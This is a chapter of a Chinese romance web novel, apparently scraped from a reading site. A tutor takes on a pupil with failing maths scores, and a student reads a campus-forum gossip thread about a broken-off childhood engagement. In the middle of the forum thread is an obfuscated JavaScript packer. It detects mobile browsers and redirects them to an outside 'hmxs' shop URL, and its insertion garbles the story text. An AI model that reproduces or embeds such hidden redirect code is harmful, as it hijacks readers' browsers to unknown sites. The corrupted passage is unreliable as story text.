日上三竿，圆滚滚已经三过猫粮碗而无粮出现。
懒惰的饲养员还团在那张大床上睡得呼噜噜，而猫已经饿得咕噜噜肚子叫。
圆滚滚目光炯炯：盯——
感受到了诡异的紧迫感，陈甸甸抬手挡住刺眼的太阳，蒙头缓了好一会，终于挣扎着醒来。
面前，是一颗正盯着她不断嗅嗅的猫猫头。
“小宝~”她夹着嗓子，伸手一揽，将圆滚滚裹进了怀里，“你来了呀~”
圆滚滚毫不犹豫地伸出前爪抵在她的嘴上。
有点凉，还带着点新买的猫砂的味道——不太好闻，回头就把这款猫砂换了。
陈甸甸别开脸。
圆滚滚“喵喵喵”地跳开。
几步之后，它蹲在猫粮碗前，扭头看着仍在床上的饲养员，拖长音大喊：“喵——！”
还以为是要来黏黏糊糊呢，结果是无粮不亲人。
趿拉上拖鞋，饲养员终于弯腰拿起空碗。
去厨房冲洗干净碗后，猫换上了新的粮与水，新的一天也由此开启。
饱饱地睡了一觉，陈甸甸精神抖擞。
她点开屏幕，消息栏挂了一条数小时前发来的回信。
【万能管家王晓梅】：陈老师你好！简历已收到，以下是小少爷的个人情况，请问你什么时候方便来试讲？
陈甸甸正叼着昨天晚上出门溜达时候带回来的打折面包，她一边啃着早饭，一边点开了后面跟着的一条文件：【付南辰小朋友的情况说明】.pdf。
文档很长，图文并茂十七页。
文档的前十六页详尽介绍了付南辰小朋友出生以来获得的各类奖项，包括但不限于——幼儿园时期的金苹果班“绘画小能手”比赛参与奖、“小陀螺”轮滑比赛三等奖、“爸爸妈妈我爱你”诗歌正文比赛第一名、“琴棋书画”表演小提琴演奏表扬奖、“小骑手”马术比赛二等奖……
而最后一页，最重磅的一页，终于标明了付南辰小朋友进入小学两年以来的学习成绩表。
在一众高位两位数或三位数的学习成绩中，陈甸甸一眼就看见了那孤零零的数学成绩。
一年级上：100分。
一年级下：100分。
二年级上：3分。
二年级下：4分。
黑黢黢的数字孤零零，与其他成绩格格不入。
面包“啪嗒”一声掉在了地上。
陈甸甸面色凝重。
工作难度比预想的要高一些。
但是没关系，做家教这件事情，她早就轻门熟路了。
【不好惹的秤砣】：您好，情况我大概已经清楚。小朋友什么时候比较方便呢？我随时有空。
直到她面无表情地吃完一片新的面包后，手机才“嗡”地震动一声。
【万能管家王晓梅】：后天下午一点半到四点半，可以吗？
【不好惹的秤砣】：好的。
三小时的试讲，也就是三千的薪资。
她拍拍手里的面包屑，弯腰捞起蹲在脚边的圆滚滚：“诶哟，小宝啊，妈妈找到了一份超高薪工作呢！”
陈甸甸摸着下巴，沉思。
不知为何，她总觉得有些怪怪的——是太顺利了吗？
*
“哪有什么奇怪的事情啊！”程掷正躺在宿舍的床上，游戏手柄在他手里被摁得“哒哒哒”响，“但要非说啊，有件事我还真好奇很久了，得来问问当事人。”
考完试，他终于可以从白天到夜晚，一直懒洋洋地躺在床上，打通他上个月抢到的游戏卡带了。
至于宴西昼回来收拾东西时候问他，最近有没有发生什么奇怪的事情？
背着剑的勇士被一根从后方飞来的带电暗箭射中，生命条陡然清空，屏幕上出现了黑底黄字的【GAMEOVER】。
把游戏手柄随手丢到一边，他八卦地问：“我就是看论坛的帖子啊，听说哦，你在食堂门口拒绝人家女生啊？就算是封建联姻，当面拒绝人家姑娘，也不是你的风格吧？”
宴西昼输入学校论坛的网址，登录自己的管理员账号。
“要我说啊……”程掷的长篇大论还在继续，“我觉得你这情况啊……”
宴西昼手下的滚轮还没滑上半圈，就找到了飘红的一条跟帖。距离这条帖子首次发布已经过去了好几天，但是直到现在还有不明真相的吃瓜群众在不断顶帖，让这条八卦贴高高挂在首页。
【LZ】：食堂门口，速来，大瓜！！！LZ已经要语无伦次了，是yxz的大瓜啊啊啊啊啊！！他边上的女生是谁？有人知道吗？【pic.jpg】
【1L】：在现场，太狗血了……女生应该是商院的cdd吧？她还蛮出名的，成绩很好，去年国奖名单里面她排第一的。
【2L】：是文学院的yxz？！好帅好帅，这么糊的图都能这么帅，谁懂……斯哈斯哈~
【5L】：近距离吃瓜中！就是y神！没想到y神私底下是这种性格啊，震惊中！
【7L】：不是，有没有人仔细讲讲发生什么了啊？在教学楼急得直跺脚！！
【14L】（回复7L）：听半天终于搞懂了！简单来说，就是yxz家里给他订了一门娃娃亲，然后他不喜欢人家，所以要和人家商量要退婚。
【35L】：……还以为食堂出了什么新品呢，急匆匆赶过来排队，结果就这？
【65L】：楼上真大馋丫头了^^
【66L】（回复65L）：……我是男的。
【68L】（回复66L）：好的，大馋小子ovo
【70L】：不对啊，我听着怎么像是y神有喜欢的人了，是这个女生一直缠着y神啊？不会是打着烈女怕缠郎的主意……啊不是，烈男怕缠女……啊怎么说都怪，反正就这意思吧，是这样吗？
【71L】：据我近距离目测，事情没有这么简单。
【88L】：卜要伤害我们cdd啊……她人很好的TT
【91L】：这些缩写有人解码一下吗……？
【99L】：食堂今天有限定猪脚饭，快冲啊！！！别挤在门口了啊！！
【101L】（回复91L）：一下子、游戏中、要选择、沉甸甸、存档点、才多大……
【113L】：其实一开始压根没有这么多人，大家都是被那个黄毛爆炸头吸引过来的……亮色果然吸引……
黄色爆炸头……宴西昼微微蹙眉。
猫能够看到的颜色不多，黄色恰好是其中之一。
【121L】：？总感觉路过被骂了一句。
【126L】：这种事情在公共场合说也太不尊重女生了吧？就算长得帅也不行啊。
【133L】（回复126L）：小声附和，觉得很冒昧，感觉yxz也就一普男了。
【137L】：哈哈，y神有点东西，cdd可长得不错。
【142L】（回复126L）：并没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615635|187735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这都什么年代了，还娃娃亲呢？本来就不合适。不要在学校论坛打拳。
【144L】（回复142L）：但是这种态度讲话就很过分了吧？
【156L】：好了好了别吵了，人家当事人都散了。
【162L】（回复156L）：关你屁事！
【163L】（回复137L）：？
【164L】（回复162L）：……=)
【167L】（回复127L）：我在猜一猜性别中获得了一秒的好成绩，你也来试试吧！
宴西昼点开137L的头像，目光瞥过这句“cdd可长得不错”，随后面无表情地将这个ID拖进了禁言列表。
【214L】：插一嘴……和y神现实中有学生会交接，感觉y神不是这样的人啊……
【243L】：利益相关，匿了。y神有时候是这样情绪很多变，和开盲盒一样，但大部分时候y神人还是蛮好的（望天.jpg）
鼠标悬停在243L。
【276L】：这楼盖这么高，不怕被封啊？
“……我说了这么多，你听没听见啊？”程掷慷慨激昂地陈述，一心一意地八卦，到头来当事人竟然没一点回应。
他干脆把手机上显示的论坛版块点开，递到对方的面前：“你看！就这条帖子，你总得解释解释吧？”
鼠标点下“确认”键。
宴西昼抬眼：“都是谣言。”
程掷正想追问时，班级群“叮咚”一声，辅导员的消息弹了出来。
“导员说成绩登入系统了。”他切出论坛页面。
临时抱佛脚系大学生程掷双手合十，虔诚地朝着宴西昼拜了拜：“学神保佑，保佑我门门及格，拜托！”
宴西昼没有搭理他的幼稚举动，他点开校内网的成绩查询链接。
“我去！我去我去我去我去我去！”程掷爆发出一声高喊，他激动地握住宴西昼的手，眼中似有泪光闪动，“我及格了我都及格了！连计量都及格了！！！宴哥！你——是我的神！”
他抹去不存在的眼泪：“宴神你呢？不会又是全部满绩吧？”
他探头来看宴西昼的成绩，却发现对方的屏幕已经锁上。
反光的黑屏上，是宴西昼那张就算板着也帅得惨绝人寰的脸。
“行吧，我也不自找打击了。”他撤回一个脑袋，看看群消息，又说，“我看群里说这次的成绩单也已经提前按照入学登记的地址寄回去了。”
程掷往床上一躺，轻松愉悦的氛围霎时充满了半间宿舍。
宴西昼合上电脑，他再度点亮成绩查询页面。
他方才眼疾手快地暗灭了屏幕。
现下他再次打开。
……他面露难色。
辅修的二专业经济学，他将程掷教到及格的那门计量，他得了四分。
和付南辰的数学成绩一个分数。
宴西昼甚至怀疑，这是否是老师的同情分？
他很难得在一天内两次露出迷茫的神情。
人格之间，难道知识不是共享的吗？
宴西昼觉得此时此刻，他就像个笑话。
他转身欲走。
“对了！还有件事！”眼看宴西昼就要带上宿舍门，程掷赶忙高声喊住他，“我给你弟弟找了个家教老师！”
“是我朋友小郑的室友，你回头记得和咱弟说一声——这回可得手下留情！”
“别再霍霍人家了！”